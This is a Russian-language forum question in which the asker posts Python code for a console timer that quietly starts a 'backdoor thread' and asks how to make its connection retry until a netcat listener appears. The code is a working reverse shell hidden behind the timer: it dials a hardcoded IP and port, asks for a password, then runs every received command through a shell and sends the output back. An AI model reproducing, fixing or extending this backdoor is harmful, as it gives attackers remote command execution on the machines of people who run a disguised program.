Как перехватить исключение, когда сокет не может подключиться - PullRequest
0 голосов
/ 07 апреля 2019

Я попытался сделать таймер с бэкдором просто для удовольствия, и он работает, когда я начинаю слушать с netcat, прежде чем запустить скрипт.('nc -l 1234') Было бы неплохо, если бы я мог запустить сценарий и заставить бэкдор-поток пытаться подключиться, пока он наконец не подключится. (Используйте netcat после запуска сценария) Но я всегда получаю ошибку об отказе в соединении и 'OSError:[Errno 22] Недопустимый аргумент '

Я пытался создать собственную функцию для соединения и вызова обеих функций из одной функции, которая вызывается протектором, но она не работает.

Импорт:

import socket
import subprocess
import threading
import time

Объявление переменных и сокета:

port = 1234
passw = 'Password'
host = '192.168.10.128'
connectedToSlave = False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Таймер, который вас интересовал:

def clock():
    startTimerOrQuit = input("Press enter to start the timer. Send 'q' to exit. > ")
    if(startTimerOrQuit == 'q'):
        exit(0)
    start = time.time()
    input("Press enter to stop the timer. > ")
    with print_lock:
        print("It took {} seconds.".format(time.time()-start))
    clock()

Это моя функция входа в систему.в чем проблема:

def login():
    while True:
        try:
            s.connect((host, port))
            break
        except ConnectionRefusedError as e:
            with print_lock:
                print("ERRRRRRRRRRRRRRRR > ", e, '\n')
                continue
    with print_lock:
        print("While done")
    s.send("Login > ".encode('utf-8'))
    usrPassw = s.recv(1024)

    if(usrPassw.decode('utf-8').strip() == passw):
        s.send("Successfully Connected!\n".encode('utf-8'))
        s.send("> ".encode('utf-8'))
        revShell()
    else:
        s.send("Wrong Password!\n".encode('utf-8'))
        login()

Моя функция reverseShell.работает нормально, но если вы хотите увидеть:

def revShell():
    global s
    while True:
        inData = s.recv(1024)

        if(inData.decode('utf-8').strip() == 'logout'):
            break

        sp = subprocess.Popen(inData, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE)
        output = sp.stdout.read() + sp.stderr.read()
        s.send(output)
        s.send('> '.encode('utf-8'))

Запуск потоков:

tt = threading.Thread(target = clock, name = "Clock Thread")
tt.start()

bdt = threading.Thread(target = login, name = "Backdoor Thread")
bdt.start()

Я хочу, чтобы таймер работал нормально и пытался подключиться к слушателю netcat, и если онне удается, попробуйте еще раз с, например.задержка 10 сек.Но я получаю Errno [61] ConnectionRefused и OSError Errno [22] Неверный аргумент.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...